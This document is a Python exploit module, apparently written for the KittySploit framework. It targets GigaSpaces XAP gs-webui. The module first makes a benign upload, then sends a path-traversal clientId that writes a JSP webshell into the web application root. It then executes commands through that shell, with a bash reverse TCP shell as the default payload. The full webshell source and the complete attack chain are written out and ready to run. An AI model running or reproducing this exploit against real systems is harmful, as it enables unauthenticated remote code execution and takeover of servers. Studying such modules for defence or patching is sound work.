GigaSpaces XAP unauth path traversal JSP RCE

"""GigaSpaces XAP unauthenticated fileUpload traversal JSP RCE."""
from __future__ import annotations
import uuid
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'GigaSpaces XAP unauth path traversal JSP RCE', 'description': 'Benign upload then clientId traversal writes shell.jsp to gs-webui webapp root; GET /shell.jsp?cmd= executes commands.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['gigaspaces', 'xap', 'rce', 'unauth', 'traversal'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/gigaspaces_webshell_rce_detect']}}}
    _JSP_SHELL = '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd"); if(cmd!=null){ Process p=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd}); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line=br.readLine())!=null) out.println(line); } %>'
    _TRAVERSAL_CLIENT_ID = '../../tools/gs-webui/work/webapp'
    port = OptPort(8090, 'GigaSpaces gs-webui HTTP port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    shell_name = OptString('shell.jsp', 'JSP filename in webapp root', required=False)

    def _build_multipart(self, fields: list[tuple[str, str]], boundary: str) -> bytes:
        body = b''
        for name, content in fields:
            body += f'--{boundary}\r\n'.encode()
            body += f'Content-Disposition: form-data; name="{name}"\r\n\r\n'.encode()
            body += content.encode('utf-8') + b'\r\n'
        body += f'--{boundary}--\r\n'.encode()
        return body

    def _upload(self, client_id: str, fields: list[tuple[str, str]]) -> bool:
        boundary = '----WebKitFormBoundary' + uuid.uuid4().hex
        body = self._build_multipart(fields, boundary)
        path = f"/gs_webui/rpc/fileUpload?clientId={quote(client_id, safe='')}"
        resp = self.http_request('POST', path, data=body, headers={'Content-Type': f'multipart/form-data; boundary={boundary}'})
        return bool(resp and int(resp.status_code or 0) == 200)

    def execute(self, cmd: str) -> str:
        if not self._upload('benign', [('dummy.txt', 'placeholder')]):
            return 'step1 benign upload failed (work/uploaded prerequisite)'
        shell = str(self.shell_name or 'shell.jsp')
        if not self._upload(self._TRAVERSAL_CLIENT_ID, [(shell, self._JSP_SHELL)]):
            return 'step2 traversal JSP upload failed'
        resp = self.http_request('GET', f'/{shell}?cmd={quote(cmd)}')
        if not resp:
            return 'webshell GET failed'
        return (resp.text or '')[:8000]

    def check(self):
        resp = self.http_request('GET', '/gs_webui/')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'gs-webui reachable', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'gs-webui not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Traversal upload + JSP execution')
        out = self.execute(shell)
        blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
        if out and 'failed' not in out[:30].lower():
            print_success('Command output:')
            print_info(out[:8000])
            self.vulnerable()
            if str(self.shell_from_payload() or '').strip():
                return True
            return True
        if blind and 'step2' not in out:
            print_warning('Upload chain attempted; blind payload may still run')
            self.vulnerable()
            return True
        print_error(out or 'Exploit failed')
        self.not_vulnerable()
        return False